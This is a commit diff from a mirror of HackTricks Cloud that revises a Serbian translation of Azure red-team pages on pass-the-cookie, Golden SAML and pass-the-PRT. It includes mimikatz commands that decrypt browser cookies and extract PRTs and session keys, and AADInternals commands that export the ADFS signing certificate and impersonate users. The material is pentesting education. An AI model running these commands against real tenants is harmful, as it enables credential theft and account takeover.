mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -15,10 +15,10 @@ Da biste auditovali AZURE okruženje, veoma je važno znati: koje **usluge se ko
|
||||
Sa stanovišta Red Teama, **prvi korak za kompromitovanje Azure okruženja** je da se uspe da se dobiju neki **akreditivi** za Azure AD. Evo nekoliko ideja kako to uraditi:
|
||||
|
||||
- **Leakovi** na github-u (ili sličnim mestima) - OSINT
|
||||
- **Socijalno** inženjerstvo
|
||||
- **Društveno** inženjerstvo
|
||||
- **Ponovna upotreba** lozinki (leakovi lozinki)
|
||||
- Ranljivosti u aplikacijama hostovanim na Azure-u
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) sa pristupom metapodacima
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) sa pristupom metapodacima
|
||||
- **Čitanje lokalnih fajlova**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
@@ -27,9 +27,9 @@ Sa stanovišta Red Teama, **prvi korak za kompromitovanje Azure okruženja** je
|
||||
- **`az logout`** uklanja token.
|
||||
- Starije verzije **`Az PowerShell`** čuvale su **pristupne tokene** u **čistom** tekstu u **`TokenCache.dat`**. Takođe čuva **ServicePrincipalSecret** u **čistom** tekstu u **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** može se koristiti za **čuvanje** **tokena**.\
|
||||
Koristite `Disconnect-AzAccount` da ih uklonite.
|
||||
- 3. strane **provaljene**
|
||||
- 3rd strane **provaljene**
|
||||
- **Interni** zaposleni
|
||||
- [**Uobičajeni Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akreditivi ili Oauth aplikacija)
|
||||
- [**Uobičajeni Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (akreditivi ili Oauth aplikacija)
|
||||
- [Phishing putem autentifikacije uređaja](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
@@ -40,7 +40,7 @@ az-unauthenticated-enum-and-initial-entry/
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nakon što ste uspeli da dobijete akreditive, morate znati **čijim akreditivima pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
|
||||
> Nakon što ste uspeli da dobijete akreditive, morate znati **kome ti akreditivi pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
|
||||
|
||||
## Osnovna Enumeracija
|
||||
|
||||
@@ -52,7 +52,7 @@ az-unauthenticated-enum-and-initial-entry/
|
||||
Ako ste pronašli SSRF na mašini unutar Azure-a, proverite ovu stranicu za trikove:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Zaobilaženje Uslova Prijave
|
||||
@@ -63,8 +63,8 @@ U slučajevima kada imate neke važeće akreditive, ali ne možete da se prijavi
|
||||
|
||||
- **IP beljenje** -- Morate kompromitovati važeći IP
|
||||
- **Geo ograničenja** -- Pronađite gde korisnik živi ili gde su kancelarije kompanije i dobijte IP iz istog grada (ili barem iz iste zemlje)
|
||||
- **Pregledač** -- Možda je dozvoljen samo pregledač sa određenog OS-a (Windows, Linux, Mac, Android, iOS). Saznajte koji OS koristi žrtva/kompanija.
|
||||
- Takođe možete pokušati da **kompromitujete akreditive Service Principal-a** jer su obično manje ograničeni i njihova prijava se manje pregledava.
|
||||
- **Pregledač** -- Možda je dozvoljen samo pregledač iz određenog OS-a (Windows, Linux, Mac, Android, iOS). Saznajte koji OS koristi žrtva/kompanija.
|
||||
- Takođe možete pokušati da **kompromitujete akreditive Service Principal-a** jer su obično manje ograničeni i njihova prijava se manje proverava.
|
||||
|
||||
Nakon zaobilaženja, možda ćete moći da se vratite na svoju početnu postavku i još uvek imati pristup.
|
||||
|
||||
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Jedna od najvažnijih komandi za enumeraciju Azure-a je **`Get-AzResource`** iz Az PowerShell-a jer vam omogućava da **znate resurse koje vaš trenutni korisnik može da vidi**.
|
||||
> Jedna od najvažnijih komandi za enumeraciju Azure-a je **`Get-AzResource`** iz Az PowerShell-a jer vam omogućava da **znate koje resurse vaš trenutni korisnik može da vidi**.
|
||||
>
|
||||
> Istu informaciju možete dobiti u **web konzoli** odlaskom na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ili pretražujući "Svi resursi"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
|
||||
Podrazumevano, svaki korisnik bi trebao imati **dovoljno dozvola za enumeraciju** stvari kao što su korisnici, grupe, uloge, servisni principi... (proverite [podrazumevane AzureAD dozvole](az-basic-information/#default-user-permissions)).\
|
||||
Podrazumevano, svaki korisnik bi trebao imati **dovoljno dozvola za enumeraciju** stvari kao što su korisnici, grupe, uloge, servisni principi... (proverite [podrazumevane AzureAD dozvole](az-basic-information/index.html#default-user-permissions)).\
|
||||
Ovde možete pronaći vodič:
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -9,22 +9,22 @@ Browser **kolačići** su odličan mehanizam za **obići autentifikaciju i MFA**
|
||||
Možete videti gde se **browser kolačići nalaze** u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## Napad
|
||||
|
||||
Izazovan deo je to što su ti **kolačići enkriptovani** za **korisnika** putem Microsoft Data Protection API (**DPAPI**). Ovo je enkriptovano koristeći kriptografske [ključeve vezane za korisnika](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) kojem kolačići pripadaju. Možete pronaći više informacija o ovome u:
|
||||
Izazovan deo je to što su ti **kolačići enkriptovani** za **korisnika** putem Microsoft Data Protection API (**DPAPI**). Ovo je enkriptovano koristeći kriptografske [ključeve vezane za korisnika](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) kojem kolačići pripadaju. Možete pronaći više informacija o ovome u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Sa Mimikatz u ruci, mogu **izvući korisničke kolačiće** iako su enkriptovani ovom komandom:
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Za Azure, brinemo se o autentifikacionim kolačićima uključujući **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, i **`ESTSAUTHLIGHT`**. Oni su tu jer je korisnik nedavno bio aktivan na Azure-u.
|
||||
Za Azure, brinemo se o autentifikacionim kolačićima uključujući **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, i **`ESTSAUTHLIGHT`**. Oni su tu jer je korisnik bio aktivan na Azure-u u poslednje vreme.
|
||||
|
||||
Jednostavno idite na login.microsoftonline.com i dodajte kolačić **`ESTSAUTHPERSISTENT`** (generisan opcijom “Stay Signed In”) ili **`ESTSAUTH`**. I bićete autentifikovani.
|
||||
|
||||
|
||||
@@ -6,11 +6,11 @@
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **deljenje pristupa** skupu resursa.
|
||||
|
||||
Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika vrši on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika odvija on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
U suštini, u Federaciji, sva **autentifikacija** se vrši u **on-prem** okruženju i korisnik doživljava SSO u svim pouzdanim okruženjima. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
U suštini, u Federaciji, sva **autentifikacija** se odvija u **on-prem** okruženju i korisnik doživljava SSO kroz sva poverena okruženja. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** se koristi za **razmenu** svih informacija o autentifikaciji i autorizaciji između provajdera.
|
||||
|
||||
@@ -24,15 +24,15 @@ U bilo kojoj federacijskoj postavci postoje tri strane:
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti preskočen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti zaobiđen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
2. Zatim, SP identifikuje odgovarajući IdP (npr. AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP.
|
||||
3. IdP preuzima, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP i prosleđuje SP-u kroz korisnika.
|
||||
3. IdP preuzima, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse formuliše IdP i prosleđuje SP-u kroz korisnika.
|
||||
4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, što implicira odnos poverenja sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijavljivanja, omogućavajući korisniku da koristi uslugu.
|
||||
|
||||
**Ako želite da saznate više o SAML autentifikaciji i uobičajenim napadima, idite na:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Pivotiranje
|
||||
@@ -48,30 +48,30 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
|
||||
- U ADFS-u, SAML Response se potpisuje sertifikatom za potpisivanje tokena.
|
||||
- Ako je sertifikat kompromitovan, moguće je autentifikovati se na Azure AD kao BILO KOJI korisnik sinhronizovan sa Azure AD!
|
||||
- Baš kao i naše zlostavljanje PTA, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju.
|
||||
- Baš kao i naš zlostavljanje PTA, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju.
|
||||
- Sertifikat se može izvući sa AD FS servera sa DA privilegijama i zatim se može koristiti sa bilo kog računara povezanog na internet.
|
||||
- Više informacija na [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **kriptovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane pouzdanog IdP-a.
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **kriptovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.
|
||||
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatni SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatne SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
|
||||
Zlatni SAML nudi određene prednosti:
|
||||
Zlatni SAML-ovi nude određene prednosti:
|
||||
|
||||
- Mogu se **kreirati na daljinu**, bez potrebe da budu deo domena ili federacije u pitanju.
|
||||
- Ostaju efikasni čak i sa **dvofaktorskom autentifikacijom (2FA)** uključenom.
|
||||
- Privatni ključ za potpisivanje **tokena se automatski ne obnavlja**.
|
||||
- **Promena lozinke korisnika ne poništava** već generisani SAML.
|
||||
|
||||
#### AWS + AD FS + Zlatni SAML
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) je Microsoftova usluga koja olakšava **sigurnu razmenu informacija o identitetu** između pouzdanih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije.
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) je Microsoftova usluga koja olakšava **sigurnu razmenu informacija o identitetu** između poverenih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije.
|
||||
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo koje dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo kakve dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
|
||||
Zahtevi za izvršavanje napada zlatnog SAML uključuju:
|
||||
Zahtevi za izvršavanje napada zlatnog SAML-a uključuju:
|
||||
|
||||
- **Privatni ključ za potpisivanje tokena**
|
||||
- **IdP javni sertifikat**
|
||||
@@ -79,7 +79,7 @@ Zahtevi za izvršavanje napada zlatnog SAML uključuju:
|
||||
- **Ime uloge (uloga koja se preuzima)**
|
||||
- Domen\korisničko ime
|
||||
- Ime sesije uloge u AWS-u
|
||||
- Amazon ID naloga
|
||||
- Amazon ID računa
|
||||
|
||||
_Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji._
|
||||
|
||||
@@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
Takođe je moguće kreirati ImmutableID za korisnike koji su samo u cloudu i imitirati ih.
|
||||
Takođe je moguće kreirati ImmutableID za korisnike koji su samo u oblaku i imitirati ih.
|
||||
```powershell
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
|
||||
@@ -22,7 +22,7 @@ U istom izlazu takođe možete videti da li je **uređaj povezan sa Azure** (u p
|
||||
|
||||
## PRT Kolačić
|
||||
|
||||
PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web Token (JWT). JWT sadrži **3 dela**, **zaglavlje**, **payload** i **potpis**, podeljene tačkom `.` i sve su url-sigurne base64 kodirane. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:
|
||||
PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web Token (JWT). JWT sadrži **3 dela**, **zaglavlje**, **payload** i **potpis**, podeljene sa `.` i sve su url-sigurne base64 kodirane. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
@@ -36,9 +36,9 @@ PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web
|
||||
```
|
||||
Aktuelni **Primary Refresh Token (PRT)** je enkapsuliran unutar **`refresh_token`**, koji je enkriptovan ključem pod kontrolom Azure AD, čineći njegov sadržaj neprozirnim i ne dekriptabilnim za nas. Polje **`is_primary`** označava enkapsulaciju primarnog refresh tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane vezan za specifičnu sesiju prijavljivanja za koju je namenjen, `request_nonce` se prenosi sa stranice `logon.microsoftonline.com`.
|
||||
|
||||
### PRT Kolačić tok koristeći TPM
|
||||
### PRT Cookie tok koristeći TPM
|
||||
|
||||
**LSASS** proces će poslati TPM-u **KDF kontekst**, a TPM će koristiti **session key** (prikupljen kada je uređaj registrovan u AzureAD i sačuvan u TPM-u) i prethodni kontekst da **izvede** **ključ**, a ovaj **izvedeni ključ** se koristi za **potpisivanje PRT kolačića (JWT).**
|
||||
**LSASS** proces će poslati TPM-u **KDF kontekst**, a TPM će koristiti **session key** (prikupljen kada je uređaj registrovan u AzureAD i sačuvan u TPM-u) i prethodni kontekst da **izvede** **ključ,** a ovaj **izvedeni ključ** se koristi za **potpisivanje PRT kolačića (JWT).**
|
||||
|
||||
**KDF kontekst je** nonce iz AzureAD i PRT koji stvara **JWT** pomešan sa **kontekstom** (nasumični bajtovi).
|
||||
|
||||
@@ -46,14 +46,14 @@ Stoga, čak i ako PRT ne može biti ekstrahovan jer se nalazi unutar TPM-a, mogu
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Zloupotreba Scenariji
|
||||
## PRT Scenariji Zloupotrebe
|
||||
|
||||
Kao **običan korisnik** moguće je **zatražiti korišćenje PRT-a** tražeći od LSASS-a SSO podatke.\
|
||||
To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi sa **tokovima zasnovanim na pretraživaču (web)** gde se **PRT kolačić** koristi kao **header** za autentifikaciju zahteva ka Azure AS stranicama za prijavu.
|
||||
To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi putem **tokova zasnovanih na pretraživaču (web)** gde se **PRT kolačić** koristi kao **zaglavlje** za autentifikaciju zahteva za Azure AS stranice za prijavu.
|
||||
|
||||
Kao **SYSTEM** mogli biste **ukrasti PRT ako nije zaštićen** TPM-om ili **interagovati sa PRT ključevima u LSASS-u** koristeći kripto API-je.
|
||||
|
||||
## Pass-the-PRT Napad Primeri
|
||||
## Primeri Napada - Pass-the-PRT
|
||||
|
||||
### Napad - ROADtoken
|
||||
|
||||
@@ -152,9 +152,9 @@ Zatim idite na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
#### Koraci
|
||||
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Servis lokalne bezbednosne vlasti) i čuva za kasniju upotrebu.
|
||||
2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dešifrovanje pomoću DPAPI glavnog ključa. Detaljne informacije o DPAPI (API za zaštitu podataka) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), a za razumevanje njegove primene, pogledajte [Napad na kolačić](az-pass-the-cookie.md).
|
||||
3. Nakon dešifrovanja Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Local Security Authority Subsystem Service) i čuva za kasniju upotrebu.
|
||||
2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dekriptovanje pomoću DPAPI masterključa. Detaljne informacije o DPAPI (Data Protection API) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) a za razumevanje njegove primene, pogledajte [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Nakon dekriptovanja Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da ako je PRT unutar TPM-a i nije unutar `lsass`, **mimikatz neće moći da ga izvuče**.\
|
||||
@@ -165,7 +165,7 @@ Možete pronaći **detaljno objašnjenje izvršenog procesa** za ekstrakciju ovi
|
||||
> [!WARNING]
|
||||
> Ovo neće tačno raditi nakon ispravki iz avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ovima drugih korisnika), ali može pristupiti svom.
|
||||
|
||||
Možete koristiti **mimikatz** za ekstrakciju PRT-a:
|
||||
Možete koristiti **mimikatz** za ekstrakciju PRT:
|
||||
```powershell
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
@@ -179,15 +179,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Kopirajte** deo označen kao **Prt** i sačuvajte ga.\
|
||||
**Kopirajte** deo označen **Prt** i sačuvajte ga.\
|
||||
Izvucite takođe sesijski ključ (**`KeyValue`** polja **`ProofOfPossesionKey`**) koji možete videti označen ispod. Ovo je enkriptovano i biće nam potrebni naši DPAPI master ključevi da bismo ga dekriptovali.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NAPOMENA]
|
||||
> [!NOTE]
|
||||
> Ako ne vidite nikakve PRT podatke, može biti da **nemate nikakve PRT-ove** jer vaš uređaj nije povezan sa Azure AD ili može biti da **koristite staru verziju** Windows 10.
|
||||
|
||||
Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja prava na **SYSTEM** kako biste radili pod kontekstom računara i mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite:
|
||||
Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja ovlašćenja na **SYSTEM** kako biste radili pod kontekstom računara i mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
@@ -222,9 +222,9 @@ HttpOnly: Set to True (checked)
|
||||
> [!CAUTION]
|
||||
> Ostatak bi trebao biti podrazumevani. Uverite se da možete osvežiti stranicu i da kolačić ne nestaje, ako nestane, možda ste napravili grešku i morate ponovo proći kroz proces. Ako ne nestane, trebali biste biti u redu.
|
||||
|
||||
#### Opcija 2 - roadrecon koristeći PRT
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Prvo obnovite PRT, što će ga sačuvati u `roadtx.prt`:
|
||||
- Prvo obnovite PRT, koji će ga sačuvati u `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
|
||||
@@ -12,14 +12,14 @@ Za više informacija o VMs pogledajte:
|
||||
|
||||
### Backdoor VM aplikacije, VM ekstenzije i slike <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
Napadač identifikuje aplikacije, ekstenzije ili slike koje se često koriste u Azure nalogu, mogao bi da ubaci svoj kod u VM aplikacije i ekstenzije tako da se backdoor izvršava svaki put kada se instaliraju.
|
||||
Napadač identifikuje aplikacije, ekstenzije ili slike koje se često koriste u Azure nalogu, mogao bi da ubaci svoj kod u VM aplikacije i ekstenzije tako da se svaki put kada se instaliraju backdoor izvršava.
|
||||
|
||||
### Backdoor instance <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
Napadač bi mogao da dobije pristup instancama i da ih backdoor-uje:
|
||||
|
||||
- Koristeći tradicionalni **rootkit** na primer
|
||||
- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
|
||||
- Backdoor-ovanje **Korisničkih podataka**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,243 @@
|
||||
# Az - CosmosDB Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Post Exploitation
|
||||
Za više informacija o SQL bazi podataka proverite:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
